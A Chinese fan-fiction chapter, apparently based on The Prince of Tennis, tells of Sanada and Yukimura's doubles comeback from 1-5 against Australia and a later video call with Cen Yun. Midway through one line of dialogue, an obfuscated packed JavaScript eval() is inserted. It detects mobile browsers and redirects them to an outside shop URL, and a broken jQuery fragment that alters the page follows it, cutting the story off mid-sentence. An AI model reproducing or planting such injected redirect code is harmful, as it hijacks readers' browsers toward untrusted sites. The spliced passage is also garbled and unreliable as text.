日本对希腊的第一场正式比赛，结束得比许多人预想中更快。
三比零。
越知和大石拿下第一场双打，远野与切原赢下第二场，种岛则在单打三追回连续丢掉的五局，为日本确定胜利。
比分看起来干净，过程却并不轻松。
大石在比赛中受伤，远野与对方的处刑法正面碰撞，结束时几乎无法继续站立。种岛面对希腊队队长，也曾长时间找不到脱离控制的方式。
日本赢了。
胜利留下的不只是小组赛积分，还有几名必须前往医疗组的选手。
岑韵没有完整看完直播。伦敦与墨尔本之间的时差并不友好，她醒来时只赶上种岛最后几局，之后才通过录像补完前两场。
真田没有出场。赛后通话里，他只简单说了一句：“正式比赛不能只考虑这一场能不能赢。”
岑韵明白他的意思。每一次出场都会产生消耗。今天受伤的人，可能无法参加下一场；为了拿下眼前的胜利提前暴露能力，也可能成为之后被对手针对的资料。
她原本想问，他没有入选首战会不会失望。
真正听见他的声音以后，她却没有问。
真田没有在等待机会，他已经开始准备下一场。
=====
日本第二个对手是东道主澳大利亚。
澳大利亚在首战中击败了世界排名第二的瑞士，整个赛场都在等待他们继续爆冷。观众席几乎被象征澳大利亚的金色与绿色填满，日本队每拿下一分，只能得到零散回应；对手得分时，欢呼声却会在场馆里持续很久。
双打二名单公布时，岑韵正坐在伦敦家中的客厅里。伦敦现在是深夜，她一个人坐在一楼客厅里用笔记本电脑看比赛。
真田弦一郎、幸村精市。
她看着屏幕上的名字，很久没有动。
前几天的视频电话里，她才拿幸村与德川的双打开过真田的玩笑，问他会不会因为幸村和别人产生能力共鸣而介意。
现在，他自己站到了幸村身边。
Leo从楼梯上下来时，赛前热身刚刚开始。
“真田的比赛？”
“还有幸村。”
“所以今天很重要？”
“为什么？”
“你坐得比上次直。”
岑韵低头看了一眼自己的姿势，没有理他。
Leo从桌上拿走一只橘子，在岑韵旁边坐下。岑韵把一边耳机给他。
“他们以前经常搭档？”
“不经常。”
“那你为什么看起来像他们已经一起打了十年？”
岑韵没有立即回答。
他们的确认识了很久。从真田说过的第一场双打算起，甚至真的已经过去十年。
可认识很久，与成为合格的双打搭档并不是同一件事。
幸村和真田都习惯站在单打场地上掌握整场比赛。一个通过精神与判断，让对手逐渐失去可信的选择；另一个则依靠正面压制，把球路收进自己建立的秩序里。
如果站在球网同一侧，他们首先要处理的，或许不是对手，而是谁来决定这一分。
“我也想看他们会怎么打。”岑韵说。
=====
澳大利亚派出的组合是队长让·菲茨杰拉德和克里斯·霍普曼。
比赛开始以后，岑韵很快发现，问题与她想象得并不相同。
真田与幸村没有争夺控制，甚至很少需要额外沟通。真田向前压迫时，幸村会自然补上他身后的空间；幸村将回球引向某一侧，真田也能迅速判断下一拍应该在哪里完成。
真正限制他们的是澳大利亚的防守。
对方频繁使用特殊站位，两个人同时集中到场地一侧，又在击球瞬间重新分开。球路看似留下空当，真正进攻时，却总有人能够完成第二次回击。
真田的黑龙二重斩没有直接得分，幸村的精神压制也没有让对手迅速崩溃。
澳大利亚组合不与他们争夺每一拍的主动，只是将所有攻击接回来，让本该终结的球重新变成普通的下一拍。
比分很快被拉开。
零比一。
零比三。
一比五。
观众席里的欢呼声，几乎已经在提前庆祝澳大利亚拿下第一场胜利。
岑韵把抱枕放到一旁，身体向屏幕靠近了一些。她见过真田落后，也见过幸村的能力无法立即奏效。却很少见他们站在同一边，仍然被压制得找不到明显出口。
“他们要输了？”Leo问。
“一比五。”
“所以还差一局。”
“比赛还没结束。”
话出口以后，岑韵自己停了一下。
很像真田会说的话。
场上的两个人没有立即加强攻击。幸村打出一颗过于柔和的球。没有角度，也没有明显旋转，像在比赛即将结束时主动放弃了最后一次进攻。
观众席传来一阵议论。
澳大利亚队员也明显认为，那只是一颗用来延长回合的安全球。
岑韵却慢慢坐直。
那一球之后，真田没有继续向前。两个人同时退回更稳妥的位置，不再急着得分。
面对澳大利亚引以为傲的铁壁，他们选择了相同的方式。
防守。
真田以“林”卸去球上的力量和旋转，幸村则不断把球送回不适合强攻的位置。回合逐渐延长，原本节奏鲜明的比赛，变成了漫长的高球与底线交换。
十分钟。
二十分钟。
一局迟迟没有结束。
他们不再给澳大利亚能够利用的力量，只将球一次次送回去。
Leo已经失去最初的新鲜感。
“他们准备这样打多久？”
“不知道。”
“这真的是网球？”
“是。”
“比足球还慢。”
岑韵没有回应。
真田一直是最不愿意回避正面碰撞的人。对手以力量取胜，他会用更强的击球突破；对手以防守闻名，他也会尝试从最坚固的位置击穿。
可现在，他在做的与他最擅长的完全相反。
幸村也没有强迫精神能力立刻产生结果。
他们共同接受了一段不知道会持续多久、也无法确认何时能够得到回报的僵持。
=====
最先发生变化的不是体力，而是澳大利亚组合的情绪。
他们已经拿到一比五的领先，只差最后一局便能结束比赛。日本却像忘记了比分，用近乎固执的方式，将每一颗球重新送回。
一次急于结束的进攻打破了原本严密的防守。
真田抓住机会，再次击出黑龙二重斩。
对方依然碰到了球，球拍却没能像此前一样稳定控制回击。克里斯的触觉已经在漫长的回合中被幸村逐渐剥夺。他能看见来球，也知道应该怎样挥拍，却无法准确判断球与拍面接触的瞬间。
真田的击球终于穿过铁壁。
比分开始改变。
二比五。
三比五。
澳大利亚组合没有立刻瓦解，却再也无法回到前半场毫无缺口的状态。
五比五。
岑韵几乎没有再移动。
最后两局并不漫长。真正决定结果的部分，早已发生在此前超过半小时的僵持里。
七比五。
记分牌翻转时，真田与幸村没有立刻庆祝。两个人先看了对方一眼。没有击掌，也没有拥抱，只像确认了一件他们很早以前便知道的事。
客厅里安静了几秒。
Leo把已经剥完、却一直忘记吃的橘子放进嘴里。
“一比五还能变成七比五？”
“嗯。”
“你刚才知道他们会赢？”
“不知道。”
岑韵诚实地说。
她只知道，真田不会在比赛真正结束以前承认失败。
幸村也是。
但今天与他们分别站在单打场上时不同。在个人攻击都已经被证明无法奏效以后，他们一起放下了最熟悉的方式。
没有人要求另一个人服从，他们又是同时站到了同一个决定里。
岑韵拿起手机。日本队后面还有其他场次，真田不可能立刻离开队伍。她只是打开对话框，输入：
——我看完了。身体还好吗？
想了想，又补充：
——这次你不用因为幸村君跟别人打双打而介意了。
信息很久没有显示已读。
直到伦敦接近中午，真田才回复：
——没有受伤。
紧接着又来了一条：
——我本来就没有介意。
岑韵笑了一下。
——比赛结束后可以打电话吗？
——晚一点。
通话真正接通时，伦敦已经下午了。
墨尔本的代表队结束了当天全部比赛和第一轮总结。真田没有回酒店房间，而是坐在楼层尽头的公共休息区。身后偶尔有人经过，脚步声很快消失在走廊另一端。
“身体真的没有问题？”岑韵先问。
“没有。”
“比赛持续了那么久。”
“后半段移动范围不大。只是疲劳。”
他的声音仍然稳定，坐姿也比平时稍微放松了一些。
“回去以后记得拉伸。”
“已经做过。”
“医疗组检查呢？”
“也做过。”
“幸村呢？”
“他也完全没有问题。”
所有她准备询问的事情，他似乎都提前完成了。岑韵终于放心了一些。
“恭喜。”
“嗯。”
“也替我恭喜幸村。”
“他刚才在这里。”
岑韵看了一眼屏幕边缘，“他看见我的消息了？”
真田停顿了一瞬，“没有。”
回答得过于迅速。
岑韵没有拆穿，只问：“一比五以后，是幸村先决定改变战术？”
“嗯。”
“你们没有商量过？”
“没有必要。”
真田说得理所当然。
“继续进攻已经无效。幸村把球送回中路，就是要延长回合。”
“所以你立刻用了‘林’。”
“澳大利亚需要借力。把力量和旋转卸掉，他们的防守就无法直接变成反击。”
几句话已经解释了整场转折，可岑韵在意的并不只是战术。
“我以为你至少会再试一次黑龙二重斩。”
“已经被接住。”
“你以前会提高威力，再正面打回去。”
“那样只会让他们更容易借力。”
真田回答得没有迟疑。
岑韵看着他。他并不执着于已经被证明无效的方式。可接受战术错误，与在比赛最重要的时刻立刻加入另一个人的决定，仍然不是同一件事。
“今天很不像你，”她说。
“哪里？”
“你没有急着从对方最强的地方突破。”
真田安静了一会儿。
“比赛的目的是获胜。”
“你以前也这样说。”
“现在有什么不同？”
“以前说完以后，你还是会继续正面进攻。”
真田没有否认。
岑韵说道：“今天你在跟幸村一起等。”
“不是等。”
“那是什么？”
“让他们先改变。”
他仍然不肯把那半个多小时称作被动等待。
岑韵却明白他的意思。真田与幸村没有把比赛交给时间，更没有等待偶然发生。他们只是放弃由自己先打破平衡，迫使澳大利亚先离开最稳定的状态。
那同样是一种主动。
“你们一比五的时候，想起什么了吗？”她问。
直播画面无法解释，两个人为什么会同时改变。可岑韵看见了那次短暂的对视。
真田沉默片刻。
“小时候的一场比赛。”
岑韵立即想到了他曾经说过的第一次双打。
“你哭鼻子那场？”
真田的表情立刻发生变化：“不要只记得这个。”
“所以真的是。”
“嗯。”
四岁时，幸村在一比五时先产生了放弃的念头，真田哭着要求他继续。
多年以后，同样的比分里，幸村先打出改变比赛方式的那颗球。真田没有询问，只立刻站到了他身后。
角色似乎发生了交换，又并没有真正交换。
幸村仍然是更早看见比赛结构必须改变的人，真田则负责让那个决定坚持到最后。
“你们又不是因为想起过去才赢的。”岑韵说。
“当然不是。”语气里甚至带着一点纠正。
幸村持续施加精神压力，真田以“林”控制回球质量，澳大利亚率先失去耐心，最终触觉剥夺让铁壁出现裂缝。这些才是具体原因。
但换成两个不够了解彼此的人，即使使用同样的战术，也未必能在一比五时接受一场看不见结果的漫长防守。
他们必须确信，搭档不会因为迟迟无法得分而怀疑自己的决定。
“我前几天说，你们太了解对方，可能会默认不需要沟通。”岑韵说。
“嗯。”
“然后今天真的一句话都没有。”
“看见那颗球就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776526|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
够了。”
“以前我以为，这是因为你们知道对方下一步一定会做什么。”
“你觉得不是？”
“现在觉得不完全是，”岑韵看着他，“你们也许并不知道对方一定会做什么。只是相信，就算他做了与你预想不同的事，也一定有理由。”
真田没有立刻回答。
公共休息区的灯光落在他脸上，映出眉间很浅的一道痕迹。他似乎认真判断了一遍这句话，最后只说道：“幸村的判断值得相信。”
非常真田的结论。
“他也相信你能把那场比赛撑到最后。”岑韵说。
“不是我一个人。”
幸村先剥夺触觉，真田的黑龙二重斩才真正穿过防守。缺少任何一个人，都无法完成最后的反转。
他们不是谁帮助谁拿下胜利。
“这场比赛很好看。”岑韵说。
“前半段失去太多局。”
“我说的不是比分。”
岑韵想了一会儿。
“我第一次看见你和幸村真正站在同一边。”
“我们一直都是队友。”
“但以前你们是立海大的部长和副部长，各自负责一场胜利。今天不一样。”
她慢慢说道：“你们必须共同承担同一场比赛。不能先赢，也不能替另一个人赢。”
真田听懂了。
“我收回前几天的话。”
“什么？”
“你不需要因为他跟德川前辈打双打而介意。”
“我本来就没有。”
“因为你们也有自己的双打了。”
真田没有立即回答，但他的表情看起来准备在反驳什么。
“我看比赛的时候，忽然明白了一件事。”岑韵敛了敛笑意。
“什么？”
“我以前总觉得，自己认识你太晚了。”
真田看着她。
“幸村认识四岁时会哭的你，也知道立海大这些年发生过的所有事情。”她停顿了一下，“那些都是我没有见过的。”
真田立刻皱眉：“不要一直强调哭。”
岑韵笑了一下。
“我也记得，是你不肯让他放弃。”
那时他们站在同样的一比五面前，一个先说可能赢不了，另一个一边掉眼泪，一边拒绝结束比赛。如今再次回到这个比分，他们已经不需要把任何话说出口。
“以前我总想多问一点，再多看几场比赛。”岑韵说，“好像只要知道得足够多，就能把认识你以前的时间补回来。”
“没有必要。”
“嗯。”她轻轻点头，“现在我也觉得没有必要。”
不是因为她不再想了解。
只是那些已经发生的事情，并不是她必须尽快填满的空白。幸村认识过去的真田，而她会继续认识现在的他。两者并不需要相互替代。
屏幕另一端安静了一会儿。
真田看着她。
“不是只有以后。”
“什么？”
“以前的事，你想知道也可以问。”
他的语气很平静，像只是在说明一个事实。
“什么都可以？”
真田停顿片刻，“能回答的。”
岑韵立刻抓住了其中的保留。
“那小时候的照片呢？”
“不行。”拒绝没有任何犹豫。
她忍不住笑起来：“我可以问幸村。”
“他不会给你。”
“你确定？”
真田沉默了一下，显然并不确定。
“下一场是瑞士，你还会上场吗？”岑韵没有再逼他。
“名单没有确定。”
“如果又安排你和幸村搭档呢？”
“服从安排。”
仍然是没有个人偏好的回答。岑韵看着他略显疲倦的脸，也没有继续问他想打单打还是双打。
“那你今晚早点休息。”
“会的。”
“不要因为下一场对手更强，又自己增加训练。”
“有既定安排。”
“你的‘既定安排’有时候也很可疑。”
真田皱了皱眉，正要解释，走廊另一端忽然传来脚步声。
幸村经过公共休息区，朝这边看了一眼。
岑韵从屏幕里看见他。
“幸村。”
幸村停下来，走进画面边缘。
“晚上好，岑韵。”
“恭喜你们。”
“谢谢。”
岑韵看了一眼真田，忍不住说道：“我们刚才谈到你们四岁时的比赛。”
幸村脸上的笑意明显了一些。
真田立刻开口：“已经说完了。”
“真田小时候很可爱吧？”幸村问。
“他只承认自己哭了，不肯告诉我有没有流鼻涕。”
“岑韵。”真田的声音沉下来。
幸村像是认真回忆了一下：“这个问题——”
“不需要回答。”
“看来他确实不希望你知道。”
幸村十分自然地保留了悬念，又补充道：“但照片我可以回去找找。”
“幸村。”
这一次，警告已经非常明确。
幸村笑着退开一步：“明天还要训练，我先回房间了。”
他离开以后，岑韵看着真田：“你刚才还说他不会给我。”
“他只是故意。”
真田没有回答，只用明显不赞同的目光看着她。
岑韵终于放过他。
“好，不问了。”
公共休息区重新安静下来。岑韵看了一眼时间，知道他也该回去休息。
“下一场我还会看。”她说。
“时间不合适就看重播。”
“你不希望我看直播吗？”
真田停顿片刻，“会影响休息。”
没有否认希望。
岑韵轻轻笑了一下。
“重播的时候，我已经知道你赢了还是输了。直播不一样。”
她看着屏幕里的他：“你在场上等结果，我也想陪你等。”
伦敦与墨尔本隔着大半个地球。她不能替他比赛，也不能让任何一颗球落进界内，但至少在结果真正出现以前，他不是唯一等待的人。
真田沉默了一会儿。
“不能每场都熬夜。”
“我会安排好。”
“比赛结束以后补足睡眠。”
“知道了。”
他仍然需要先确认具体安排，才肯接受她的决定。
岑韵的声音柔和下来。
“弦一郎，今天我非常高兴。”
“因为赢了？”
“因为我看见你赢了。”